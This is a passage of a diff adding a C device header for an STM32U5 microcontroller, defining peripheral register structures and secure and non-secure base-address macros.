uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0x30000UL) /*!< SRAM1=192k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ + +/* External memories base addresses - Not aliased */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (512 KB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (192 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20030000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08308UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x06000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x06400UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1308UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 2 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (192 KB) secure base address */ +#define SRAM2_BASE_S (0x30030000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08308UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_DRD_BASE_S (APB2PERIPH_BASE_S + 0x06000UL) +#define USB_DRD_PMAADDR_S (APB2PERIPH_BASE_S + 0x06400UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define 